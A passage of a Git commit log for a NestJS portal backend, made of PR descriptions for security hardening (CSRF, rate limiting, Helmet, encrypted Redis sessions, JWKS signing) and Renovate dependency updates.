(no routes mounted, no `app.use` called), dev mount (JSON at `/api/openapi.json` via the HTTP adapter, Scalar UI at `/api/docs` via `app.use`). - [x] `pnpm nx test portal-bff` — **396 specs pass** (was 391). - [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean. - [x] Manual dev smoke: `pnpm nx serve portal-bff`, `curl /api/openapi.json | jq .info` returns title + version, open `/api/docs` in a browser, every controller's routes visible under their tag, lock icons match the cookie scheme on guarded routes. ## What's next — light follow-ups Not blocking this PR; mentioned so they're not lost: - Auto-inject the `X-CSRF-Token` header in Scalar from the `portal_csrf` cookie (custom Scalar config preset). - Promote `@ApiOperation` summaries with multi-line `description`s on the more involved routes (`/api/admin/audit`, `/api/admin/users`). - Annotate DTOs with `@ApiProperty` once the first contract-test consumer arrives — Nest can also pick them up automatically with the `@nestjs/swagger` ts-plugin if we wire it into the Nx build target. Deferred until the spec is consumed by tooling that benefits from the precision. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #143 |
||
|
|
282a972346 |
feat(portal-bff): signed-assertion strategy + /.well-known/jwks.json (#138)
## Summary Second half of the **DownstreamApiClient + OBO** chantier per [ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md). Ships the **signed-assertion strategy** (non-Entra downstreams) and the **JWKS publishing endpoint** as testable primitives, completing the strategy layer the OBO PR (#137) started. The framework around them (DownstreamApiClientFactory, cockatiel, audience pre-check, error translation) still waits for the first concrete integration per the ADR's own "until then" clause. After this PR the BFF has, ready to plug into a future integration: - `OboStrategy` — Entra-protected downstreams (PR #137) - `SignedAssertionStrategy` — non-Entra downstreams (this PR) - `DownstreamTokenCache` — encrypted-at-rest OBO token cache (PR #137) - `GET /.well-known/jwks.json` — public key publication (this PR) ## What lands ### [`assertJwksConfig`](apps/portal-bff/src/config/check-jwks-config.ts) Boot validator for `BFF_JWKS_PRIVATE_KEY_PATH` + `BFF_JWKS_KID`. Reads the PEM file once at startup, refuses missing / unreadable / weak material (RSA < 2048, Ed25519, unknown key type), derives the JOSE algorithm (`RS256` / `ES256` / `ES384`) from the key shape, and validates the kid against `[A-Za-z0-9_-]{4,128}` so the value lives unescaped in JWT headers + JWKS payloads. ### [`BffSigningKey`](apps/portal-bff/src/downstream/bff-signing-key.ts) Singleton holding `{ config: JwksConfig, publicJwk: JWK }`. The `publicJwk` is derived from the **public half** of the key (via `jose.exportJWK` on a `createPublicKey`-derived `KeyObject`) so no private material can leak through. Single DI source for both consumers (strategy + JWKS controller) so a key rotation only changes one provider. ### [`SignedAssertionStrategy`](apps/portal-bff/src/downstream/strategies/signed-assertion.strategy.ts) Wraps `jose.SignJWT` with the ADR-0014 claim shape: ```json { "iss": "portal-bff", "sub": "<actor_id_hash>", "aud": "<downstream-name>", "audience": "workforce" | "customer", "claims": { /* curated subset */ }, "exp": <now + 60s>, "iat": <now>, "trace_id": "<W3C trace id>" } ``` - **60 s TTL** hard-coded — the ADR mandates it. - **No JWT cache** — at 60 s lifetime the savings would be negligible and a cache would let replayed assertions linger past their useful life. The signing operation itself is cheap (~hundreds of µs for RS256 with a 3 KB key). - **kid in the protected header** matches the JWKS so a downstream picks the right key during rotation. - Supports **RS256 / ES256 / ES384** transparently — picks the alg the validator derived at boot. ### [`JwksController`](apps/portal-bff/src/downstream/jwks.controller.ts) `GET /.well-known/jwks.json` returns `{ keys: [<single jwk>] }`. v1 publishes one key; the rotation chantier will add a second entry + window-based eviction so a downstream that cached the previous JWK keeps verifying during cut-over. [`main.ts`](apps/portal-bff/src/main.ts) excludes `/.well-known/*` from the global `/api` prefix so the route lands at the bare root per RFC 8615. No auth gate — the JWKS is the verification anchor; gating it would defeat the purpose. The CSRF middleware already exempts GET methods, so the route comes out clean. ## Required env update (mandatory at boot) Generate the key: ```bash mkdir -p apps/portal-bff/.secrets openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 \ -out apps/portal-bff/.secrets/jwks.pem ``` Set in `apps/portal-bff/.env`: ```env BFF_JWKS_PRIVATE_KEY_PATH=apps/portal-bff/.secrets/jwks.pem BFF_JWKS_KID=bff-2026-05 ``` The repo's existing `*.pem` / `*.key` gitignore patterns cover `.secrets/`. ## Dependency - **`jose@^6`** added as a direct dep (was transitive via MSAL). Pinned at the workspace root since the BFF is the only consumer today and the package isn't part of the Angular bundle graph. - `jest.config.cts`: `jose` ships ESM-only, so its `node_modules` path is removed from `transformIgnorePatterns`. The pattern walks pnpm's deep `.pnpm/` layout — anything under `/node_modules/` whose path also contains `jose` somewhere gets transformed by ts-jest. ## Out of scope (deferred until the first concrete integration) Per ADR-0014's "until then" clause: - `DownstreamApiClientFactory` + per-service typed `DownstreamApiConfig`. - `cockatiel` resilience composition (timeout, retry, circuit breaker, bulkhead). - Audience pre-check at the call site (`audienceConstraint` → `authz.deny` audit). - Error translation tables per service. - OTel custom spans `downstream.<service>.<verb>.<path>`. - The framework code that actually calls `SignedAssertionStrategy.sign()` and attaches `X-User-Assertion` + the `ServiceCredential` auth header to an outbound HTTP request. - Key rotation (the JWKS lists one key for now; the rotation chantier adds the second entry + eviction policy). These land alongside the first concrete integration so the framework shape is validated against a real consumer, not speculative needs. ## Test plan - [x] `pnpm nx test portal-bff` — **358 specs pass** (was 334; +24: env validators 11, signing key 4, strategy 6, controller 3). - [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean. - [x] Env validator: missing path, unreadable file, garbage PEM, RSA-1024 (weak), Ed25519 (unsupported), missing kid, illegal kid charset, kid too short. - [x] Signing key: RSA / EC P-256 / EC P-384 round-trip to public JWK with no private material (`d`, `p`, `q`, `dp`, `dq`, `qi` all absent from the published JWK). - [x] Strategy: claim shape matches ADR-0014, `exp - iat == 60`, audience mismatch rejected, signature mismatch rejected, EC P-256 signing path (ES256), per-call freshness. - [x] Controller: returns JWKS with the single public key, no private material leaks. - [ ] Manual smoke: generate a key locally + set the two env vars + `curl http://localhost:3000/.well-known/jwks.json` should return the JWKS shape with the chosen kid. ## Notes for the reviewer - The strategy uses `setProtectedHeader({ alg, kid })` — the kid in the protected header is the canonical way to tell a verifier "use the entry with this kid in the JWKS". Without it, a verifier holding two keys during rotation has to try both. - The `60 s` TTL is intentionally not env-overridable. ADR-0014 mandates it; making it tunable would create a tempting knob to widen the replay window for "performance". - `jose` was already in the tree transitively (likely via MSAL). Promoting it to a direct dep + pinning means a future hoist deduplication can't silently remove it without our review. ## What's next The chantier's strategy layer is complete. Open follow-ups on the roadmap: - **First concrete downstream integration** — when a real consumer arrives, the framework gets built around the two strategies (DownstreamApiClientFactory, cockatiel resilience, audience pre-check, error translation, OTel spans, audit events). Until then the strategies + cache + JWKS sit ready. - **Strategic security baseline ADR** — RSSI sign-off on ASVS / HDS / GDPR / NIS 2. Paused per [CLAUDE.md](CLAUDE.md) §"Repository status". - **portal-admin v1 modules** — CMS pages, menu management, user list. Each is its own self-contained chantier. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #138 |
||
|
|
392a32c0fe |
chore(deps): update analog monorepo to v2.5.1 (#130)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | patch | [`2.5.0` -> `2.5.1`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.5.0/2.5.1) | | [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | patch | [`2.5.0` -> `2.5.1`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.5.0/2.5.1) | --- ### Release Notes <details> <summary>analogjs/analog (@​analogjs/vite-plugin-angular)</summary> ### [`v2.5.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#251-2026-05-13) [Compare Source](https://github.com/analogjs/analog/compare/v2.5.0...v2.5.1) ##### Bug Fixes - **vite-plugin-angular:** keep fallback-block components eager in defer walker ([6f90b77](https://github.com/analogjs/analog/commit/6f90b777e45af5a566d96fd626d1a49a2c5f401d)) - **vite-plugin-angular:** preserve TS sourcemaps in test pipeline ([#​2333](https://github.com/analogjs/analog/issues/2333)) ([46c608f](https://github.com/analogjs/analog/commit/46c608f0e365e483e623d52bd7ef61b01d535365)) - **vite-plugin-angular:** strip TS in fastCompile bypass for non-Angular files ([#​2327](https://github.com/analogjs/analog/issues/2327)) ([d337c55](https://github.com/analogjs/analog/commit/d337c55ffe83b1a961e6aa91e805feab12e1aa1b)) - **vite-plugin-angular:** support [@​defer](https://github.com/defer) nested inside [@​switch](https://github.com/switch) / [@​case](https://github.com/case) ([28c9600](https://github.com/analogjs/analog/commit/28c960068d473dc2cc0f4eff583bd11f0fd22220)) - **vite-plugin-angular:** wrap binary/integer-literal receivers in member access ([8a0bae6](https://github.com/analogjs/analog/commit/8a0bae6c2d7713d26ab4ab99a153fc006a9595ec)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/130 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
0e6c114ba7 |
feat(portal-bff): rate limiting + structured error filter (#123)
## Summary Closes the phase-2 hardening list that `main.ts` has been advertising since the security PR (#122). Two new middlewares + one alignment pass on the response shape so every BFF error follows a single contract. ### Structured error filter A global `ExceptionFilter` (registered via `app.useGlobalFilters(...)` at the top of `bootstrap()`) normalises every 4xx/5xx response to a single envelope : ```json { "error": { "code": "csrf", "message": "CSRF token missing or invalid", "traceId": "abc123…" } } ``` - `code` — stable token the SPA can `switch` on. Either explicit on the `HttpException`'s response object (`new UnauthorizedException({ code: 'unauthenticated', message: '...' })`) or derived from the status (`STATUS_CODE_MAP` for the common cases, `'http_error'` fallback). 500s always use `'internal'`. - `message` — safe human-readable text. **500s never leak the underlying exception** (the full message + stack go to the Pino `error` log line as `err: exception` — Pino's stack-serialiser does the rest). - `traceId` — current OTel trace id (or `null` when no span is active). Makes cross-correlation with the audit log + Pino lines trivial. An exported `errorResponse(code, message)` helper produces the same envelope for code paths that write the response directly (raw Express middlewares like the CSRF one, the rate-limit handler) — single contract everywhere. ### Rate limiting `express-rate-limit` mounted after the session middleware: - **Dynamic max per request**: 10/min on `/api/auth/login` + `/api/auth/callback` (`RATE_LIMIT_AUTH_PER_MINUTE` env), 120/min everywhere else (`RATE_LIMIT_PER_MINUTE`). - **Bucket key** = session id when the request carries an active session, remote IP otherwise. A single attacker can't dodge the limit by rotating sessions; an authenticated user gets per-account fairness regardless of source IP. - **`/api/health` is skipped** so orchestrator polls don't burn the user quota. - 429 response uses the same envelope as everything else (`{ error: { code: 'rate_limited', … } }`) via the shared `errorResponse()` helper. - In-memory store (single-instance v1 per ADR-0015). Redis-backed store is a one-line config change when we scale out. ### Alignment pass - **CSRF middleware** previously returned `{ error: 'csrf' }`. Now returns the full envelope via `errorResponse('csrf', 'CSRF token missing or invalid')`. - **`/auth/me` 401** previously wrote `{ error: 'unauthenticated' }` directly. Now throws `UnauthorizedException({ code: 'unauthenticated', message: 'Unauthenticated' })` so the filter formats it. Identical response shape on the wire as the CSRF path. Both spec assertions updated to the new shape. ### Type-resolution fix (transitive) `@types/express@4.17.25` was being pulled in transitively by `http-proxy-middleware` (Nx's webpack-dev-server). `express-rate-limit`'s `.d.ts` files import `'express'` and the type resolver was matching the v4 copy, causing `Request` type mismatches with our v5-based code. Added `"@types/express": "^5.0.6"` to `pnpm.overrides` so the workspace pins a single version everywhere. ## Notable choices **`StructuredErrorFilter` is the source of truth, but raw middlewares are still allowed to write responses directly** (rate-limit, CSRF). The reason: Nest's filter chain only handles exceptions thrown from controllers/guards/interceptors. Express middleware short-circuits before that. Both paths now use the same envelope shape through the `errorResponse()` helper. **No `traceId` in non-5xx responses?** It IS included. The filter writes it on every status — useful for any client-server debugging conversation ("send me your traceId from the 403 you got"). **500s strip the exception message.** Even if a developer accidentally surfaces a sensitive detail via `throw new Error('connection to postgres://user:secret@host failed')`, the response body just says "Internal server error". The full message goes to the log — visible to ops, never to clients. This is the standard secure-by-default for unhandled errors. **Dynamic `max` per request, not two separate `rateLimit()` instances.** Two instances would each maintain a separate store, so the `/auth/login` bucket would be independent of the general one for the same IP. A single instance with a path-conditional max gives consistent bucket accounting. ## Out of scope - Redis-backed rate-limit store. v1 ships in-memory; the BFF runs as a single instance. The migration is `new RedisStore({ ... })` when we scale out (ADR-0015 mentions this). - Per-user override of `RATE_LIMIT_PER_MINUTE` (e.g. admins / service accounts with higher quotas). No code path for this in v1. - CSP fine-tuning for portal-shell + portal-admin once Caddy serves them. ## Test plan - [x] `pnpm nx test portal-bff` (clean env) → **199/199 pass** (+25 specs: StructuredErrorFilter, rate-limit middleware, CSRF + /me alignments). - [x] `pnpm nx test feature-auth` (clean env) → **28/28 pass**. - [x] `pnpm nx test portal-shell` (clean env) → **34/34 pass**. - [x] `pnpm nx run-many -t lint build --projects=portal-bff,feature-auth,portal-shell` → clean. - [x] Prettier-clean. - [x] CI clean-env repro: every env var unset (including new `RATE_LIMIT_*`) → 261/261 pass. - [ ] Manual smoke against running BFF: - [ ] Throw any error from a controller → response is `{ error: { code, message, traceId } }`. Pino log has the full exception under `err`. - [ ] Curl `/api/auth/me` without a session cookie → 401 + same envelope, `code: 'unauthenticated'`. - [ ] Hit `/api/auth/login` 11 times in a minute → 11th returns 429 + `code: 'rate_limited'`. `/api/health` hit 100 times → all 200. - [ ] POST without `X-CSRF-Token` → 403 + `code: 'csrf'`. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #123 |
||
|
|
5bbe2304ff |
feat(portal-bff): helmet + env-driven CORS allowlist + double-submit CSRF (#122)
## Summary Phase-2 security baseline that the `main.ts` placeholder note has been advertising since the auth/session work began. Three independent middlewares + their SPA counterparts, all mounted in a single PR because they only become meaningful together. ### Helmet on the BFF `helmet()` with three overrides matching our specific shape: - **HSTS only in production** — dev runs on plain HTTP, HSTS is just noise. - **`crossOriginResourcePolicy: 'cross-origin'`** — the SPA on its own origin reads JSON from the BFF; the default `same-origin` would block it. - **CSP disabled in non-production** — the BFF doesn't render HTML, so CSP on JSON responses is mostly inert, but Helmet's default CSP triggers noisy `connect-src` violations in browser devtools that we don't need. Everything else is Helmet defaults: `X-Frame-Options=SAMEORIGIN`, `X-Content-Type-Options=nosniff`, `Referrer-Policy=no-referrer`, `X-Powered-By` removed, etc. ### CORS allowlist, env-driven `CORS_ALLOWED_ORIGINS` env (comma-separated) is now **mandatory** at boot. The BFF refuses to start without it via `readCorsAllowlist()` — same boot-time validator family as `assertSessionSecret` etc. The previous hardcoded `http://localhost:4200` fallback is gone; getting CORS wrong silently is the kind of "works in dev, breaks in prod" trap the validator is specifically designed to catch. `X-CSRF-Token` is now in the allowed headers. ### Double-submit CSRF - BFF mints a 256-bit `csrfToken` at session creation (`/auth/callback`), stored on `req.session.csrfToken` and mirrored to a JS-readable cookie (`__Host-portal_csrf` prod / `portal_csrf` dev). The cookie is the SPA's read-only view; the server-side session is the source of truth. - `createCsrfMiddleware` (mounted after the session middleware in `main.ts`) compares the `X-CSRF-Token` header with `req.session.csrfToken` using `crypto.timingSafeEqual`. Skips: - safe methods (`GET / HEAD / OPTIONS`), - anonymous requests (no `req.session.user`), - `/api/auth/login` and `/api/auth/callback` (those mint the token themselves). - Mismatch → `403 {"error":"csrf"}` with a structured Pino warn. - SPA's `csrfInterceptor` reads the cookie via `document.cookie` and copies its value into `X-CSRF-Token` on every mutating BFF request. The header is omitted on `GET / HEAD / OPTIONS` (BFF skips them anyway) and on non-BFF origins. - Logout and the absolute-timeout middleware both clear the CSRF cookie alongside the session cookie. ## Notable choices **Session-bound double-submit, not pure cookie-vs-header.** A naive "compare cookie with header" check is defeated when an attacker can plant a cookie (subdomain takeover, etc.). Comparing the header to the server-side session-stored token instead means the attacker would also need to be the authenticated user — which is what CSRF defense is supposed to prevent in the first place. **No CSRF for anonymous mutating routes (v1).** None exist today; we don't have an unauthenticated POST endpoint anywhere. Generating a CSRF token for anonymous sessions would conflict with `saveUninitialized: false` on express-session and add complexity we don't need yet. Anonymous public-form CSRF defenses (site-key, captcha) land if and when those routes ship. **`SameSite=Lax`, not `Strict`, on the CSRF cookie.** Matches the session cookie's policy so the two travel together on the SPA→BFF cross-origin same-site fetch (different ports = different origin, same registrable domain). The double-submit pattern is what gives the protection; `SameSite=Lax` is a belt-and-braces layer. **`csrfInterceptor` runs after `bffCredentialsInterceptor` and before `bffUnauthorizedInterceptor` in the chain.** Order: credentials first (set `withCredentials`), then CSRF (set the header), then unauthorized handling (catch 401s). Forward order, no surprises. **`CORS_ALLOWED_ORIGINS` has no localhost fallback.** I considered keeping the fallback for ergonomics but it makes the BFF silently misconfigured if someone forgets the env. The error message points straight at the file to edit. ## Out of scope (next PRs) - Rate limiting + structured error filter (still in the phase-2 to-do). - CSP fine-tuning when we have actual HTML pages (portal-shell + portal-admin static serving). - CSRF token rotation on idle-extension (today the token lives the session's lifetime; refreshing on each request would invalidate in-flight mutations). ## Test plan - [x] `pnpm nx run-many -t test --projects=portal-bff,feature-auth,portal-shell` clean env → **177 + 28 + 34 = 239/239 pass** (was 144 + 19 + 34 = 197 before; +42 specs across CSRF middleware, CSRF cookie helpers, CORS allowlist parser, csrfInterceptor, and extended auth.controller / absolute-timeout coverage). - [x] `pnpm nx run-many -t lint build --projects=portal-bff,feature-auth,portal-shell` → clean. - [x] **CI clean-env repro** (lesson from prior PRs): every env var unset (including new `CORS_ALLOWED_ORIGINS`) → tests still pass. The BFF refuses to boot without `CORS_ALLOWED_ORIGINS`, which is the intended behaviour. - [x] Prettier-clean. - [ ] Manual smoke against running BFF: - [ ] Sign in → `__Host-portal_csrf` (prod) / `portal_csrf` (dev) cookie set, value matches `audit.events.payload->>actorIdHash`-style traceability via `req.session.csrfToken` in Redis. - [ ] Hit a future POST route from the SPA → request carries `X-CSRF-Token`, BFF accepts. - [ ] Forge a POST without the header (curl) → 403 `{"error":"csrf"}`. - [ ] Sign out → both cookies cleared. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #122 |
||
|
|
4d4791a807 |
chore(deps): update dependency vite to v8.0.12 (#118)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.11` -> `8.0.12`](https://renovatebot.com/diffs/npm/vite/8.0.11/8.0.12) | --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.0.12`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8012-2026-05-11-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.0.11...v8.0.12) ##### Features - update rolldown to 1.0.0 ([#​22401](https://github.com/vitejs/vite/issues/22401)) ([cf0ff41](https://github.com/vitejs/vite/commit/cf0ff4154b26cffbf18541ade1a50818842731d3)) ##### Bug Fixes - **deps:** update all non-major dependencies ([#​22420](https://github.com/vitejs/vite/issues/22420)) ([2be6000](https://github.com/vitejs/vite/commit/2be6000130e3ae2160acc301baa4f7913fbc1f6e)) - **module-runner:** prevent partial-exports race on concurrent imports of in-flight invalidated re-export chains ([#​22369](https://github.com/vitejs/vite/issues/22369)) ([f5a22e6](https://github.com/vitejs/vite/commit/f5a22e62ada75286138b7ceb3825e43958ef00e1)) - refer to `rolldownOptions` instead of deprecated `rollupOptions` in messages ([#​22400](https://github.com/vitejs/vite/issues/22400)) ([b675c7b](https://github.com/vitejs/vite/commit/b675c7b6697423275ad9dd521d3ce7c8679761a0)) - **worker:** apply `build.target` to worker bundle ([#​22404](https://github.com/vitejs/vite/issues/22404)) ([3c93fde](https://github.com/vitejs/vite/commit/3c93fde21f07d44db7669ca7484f4e7a8767afe5)) - **worker:** forward define to worker bundle transform ([#​22408](https://github.com/vitejs/vite/issues/22408)) ([d4838a0](https://github.com/vitejs/vite/commit/d4838a0358d9f04a980d4d2ac7263f21a6b28ee2)) ##### Miscellaneous Chores - **deps:** update dependency eslint-plugin-n to v18 ([#​22423](https://github.com/vitejs/vite/issues/22423)) ([2fe7bd2](https://github.com/vitejs/vite/commit/2fe7bd2d73beb697a3d149e943ac74b768c9d27f)) - **deps:** update rolldown-related dependencies ([#​22421](https://github.com/vitejs/vite/issues/22421)) ([66b9eb3](https://github.com/vitejs/vite/commit/66b9eb35188007e0e9a1bd03b4be820016cad60b)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/118 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
2e9605a078 |
chore(deps): pin protobufjs to >=8.0.2 to clear 7 transitive advisories (#111)
## Summary `protobufjs 8.0.0` / `8.0.1` ship 7 fresh advisories (4 high, 3 moderate) pulled in transitively as `@opentelemetry/exporter-trace-otlp-http → @opentelemetry/otlp-transformer → protobufjs`. `pnpm audit --audit-level=moderate` flags them, which blocks the `ci:audit` gate on every push. Pins the package directly via `pnpm.overrides` — same shape we already use for `axios`, `brace-expansion`, `follow-redirects`, `ip-address`, `tmp`, `yaml`. Resolution lands on `protobufjs@8.2.0` (latest stable). The override is `protobufjs@<8.0.2: ">=8.0.2"` so it auto-yields the moment a non-vulnerable transitive lands and the override becomes a no-op — no need to remember to remove it. ## Advisories cleared | ID | Severity | Issue | | ------------------- | -------- | ----------------------------------------------------- | | GHSA-66ff-xgx4-vchm | high | code generation gadget | | GHSA-75px-5xx7-5xc7 | high | code generation gadget after prototype pollution | | GHSA-jvwf-75h9-cwgg | high | process-wide DoS through unsafe option paths | | GHSA-685m-2w69-288q | high | DoS through unbounded protobuf recursion | | GHSA-q6x5-8v7m-xcrf | moderate | overlong UTF-8 decoding | | GHSA-2pr8-phx7-x9h3 | moderate | DoS from crafted field names in generated code | | GHSA-fx83-v9x8-x52w | moderate | prototype injection in generated message constructors | ## Test plan - [x] `pnpm audit --audit-level=moderate` → **No known vulnerabilities found** - [x] `pnpm nx test portal-bff` → 99/99 pass - [x] `pnpm nx build portal-bff` → webpack compiled successfully - [x] `pnpm install` resolves `protobufjs@8.2.0` (verified in lockfile) --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #111 |
||
|
|
758d723744 |
feat(portal-bff): session middleware with AES-256-GCM at rest per ADR-0010 (#110)
## Summary
Mounts `express-session` + `connect-redis` at bootstrap on top of the shared `ioredis` client, with **AES-256-GCM applied to the full JSON payload before it lands in Redis** (per ADR-0010). The configured middleware is exposed as a NestJS provider (`SESSION_MIDDLEWARE`) and `main.ts` mounts it through `app.get(...)` so it sits on the same Redis connection the rest of the BFF uses — no second client at the bootstrap layer.
Envelope is versioned (`v1.<iv>.<tag>.<ciphertext>`, all base64url) so the algorithm / key derivation can rotate without a flag-day re-encryption. Tamper / wrong-key / unknown-version all raise `SessionDecryptError`; for now the failure is logged via Pino with `event: session.decrypt_failed` — the first-class audit event lands with ADR-0013.
Scope is intentionally **infrastructure only**:
- middleware mounted on every request, `req.session` available downstream
- session id = `crypto.randomBytes(32).toString('base64url')` (256 bits per ADR-0010)
- cookie name: `__Host-portal_session` in production, `portal_session` in dev (the `__Host-` prefix mandates `Secure`, which dev HTTP can't satisfy)
- `httpOnly + sameSite=lax + path=/`; `resave:false`, `saveUninitialized:false`, `rolling:true`
- cookie `maxAge` follows `SESSION_IDLE_TIMEOUT_SECONDS` (default 1800)
- encryption-at-rest active end-to-end
Out of scope, landing in follow-ups: `/auth/callback` populating `req.session.user`, `/me`, `/auth/logout`, the absolute-timeout interceptor, and the `user_sessions:{userId}` secondary index.
## Notable shape choices (ADR-0010 amended in the same commit)
**Full-payload encryption vs. just the `tokens` field.** The first draft of ADR-0010 scoped at-rest encryption to a `tokens` sub-field. The session also carries claims (`oid`, `tid`, `preferred_username`, …) that qualify as PII under GDPR — for an APF-Handicap portal handling health-adjacent data this matters. Encrypting the envelope is strictly stronger and removes the need to classify fields one by one. The ADR text is updated to match.
**`ioredis` + adapter vs. switching the BFF to `node-redis`.** `connect-redis` v9 was rewritten for `node-redis` v4 and no longer accepts `ioredis` directly. Two reasonable paths:
1. **Adapter (chosen)** — keep the shared `ioredis` client; shim the six commands `connect-redis` actually calls (`get`, `set` with `{expiration:{type:'EX',value}}`, `expire`, `del`, `mGet`, `scanIterator`) to the node-redis shape. Smallest blast radius — RedisModule, OBO cache (ADR-0014), future pub/sub all stay on a single Redis library.
2. **Switch RedisModule to `node-redis`** — clean alignment with `connect-redis`'s expectations, but touches every Redis consumer and would itself require an ADR amendment.
The adapter is reversible: if we ever decide to standardise on `node-redis`, deleting one file removes it. Happy to switch if you'd rather take that path.
## Env vars
- `SESSION_ENCRYPTION_KEY` — **mandatory**, AES-256-GCM key (32 bytes after base64url decode). New `assertSessionEncryptionKey()` validator wired in `main.ts` alongside the other pre-flight checks.
- `SESSION_IDLE_TIMEOUT_SECONDS` — optional, default `1800`.
- `SESSION_ABSOLUTE_TIMEOUT_SECONDS` — optional, default `43200` (consumed by the absolute-timeout interceptor in a follow-up).
`.env.example` updated; the three variables are promoted from the "future vars" block to the active section.
## Test plan
- [x] `pnpm nx test portal-bff` — **99/99 pass** (was 62 before this PR; +37 new specs across the 5 new files).
- [x] `pnpm nx build portal-bff` — clean webpack build.
- [x] `pnpm nx lint portal-bff` — clean.
- [x] Prettier-clean for all PR source files.
- [ ] Local smoke test once the next PR wires `/auth/callback` → `req.session.user`; this PR has no user-visible behaviour to exercise on its own.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #110
|
||
|
|
d4b5ed1c5d |
feat(portal-bff): redis client foundation per ADR-0010 (#109)
## Summary First step toward Redis-backed sessions (ADR-0010). Adds the shared `ioredis` connection that every downstream consumer (session storage, OBO token cache, …) injects via the new `REDIS_CLIENT` DI token. No session logic in this PR — that's the next one. ## What lands - **`ioredis@^5.10.1`** as a direct dependency. Chosen by ADR-0010 for its mature Sentinel support — single-instance URL today, Sentinel-HA configuration lands with the prod infrastructure ADR. - **[`.env.example`](apps/portal-bff/.env.example)** promotes `REDIS_URL` from its future-vars comment to an active variable, defaulting to the local Compose stack's address. The Sentinel-style keys (`REDIS_SENTINEL_HOSTS`, `REDIS_SENTINEL_NAME`, `REDIS_TLS`) stay in the future-vars comment until the prod deploy. - **[`check-redis-config.ts`](apps/portal-bff/src/config/check-redis-config.ts)** — boot-time guard mirroring the existing four: - Refuses to start on missing / non-`redis(s)://` / passwordless / placeholder URLs. - Returns a typed `RedisConfig` with parsed `host` + `port` for downstream observability. - **[`redis.token.ts`](apps/portal-bff/src/redis/redis.token.ts)** — `REDIS_CLIENT` string token + `Redis` type alias. Same shape as the existing `ENTRA_CONFIG` / `MSAL_CLIENT`. - **[`redis.module.ts`](apps/portal-bff/src/redis/redis.module.ts)** — `RedisModule` factory provider: - Caps `maxRetriesPerRequest: 3` so an unreachable Redis surfaces a clear command-time error rather than an infinite reconnect storm. - Wires `connect` / `ready` / `error` / `close` / `reconnecting` events into the Pino stream under the `redis` context — easy log isolation. - Non-global; consumers import the module to state "I depend on Redis". - **`main.ts`** calls `assertRedisConfig()` alongside the other three validators; **`AppModule`** imports `RedisModule`. ## Decisions worth flagging - **`maxRetriesPerRequest: 3`** rather than the ioredis default of 20. With the default, a Redis outage masquerades as request-level timeouts spread over minutes. Capping low surfaces the outage in the first command failure — the BFF can then return 503 and recover quickly when Redis comes back. - **Single shared client.** Pub/sub use-cases (when they appear) duplicate via `redis.duplicate()` per ioredis convention. Connect/disconnect is one socket per BFF instance. - **No explicit shutdown hook yet.** Node's process-exit handlers and ioredis's own cleanup take care of the socket on SIGTERM / Ctrl+C. If we see stuck connections in real load, we wire `OnApplicationShutdown` + `redis.quit()`. - **Sentinel-style config stays in the future-vars comment.** ioredis supports it natively, but plumbing it on top of the URL form complicates the validator and the factory for zero v1 payoff. Lands with the prod infrastructure ADR. ## Verification - `nx run-many -t lint test build --projects=portal-bff` — green. - **62 / 62 specs** (was 52; +10 — `check-redis-config` covers happy path + 6 failure modes; `redis.module` covers DI resolution against an unreachable URL plus the missing-env failure). - Boot smoke against the local Compose stack: Pino's `redis` context shows `redis.connect` 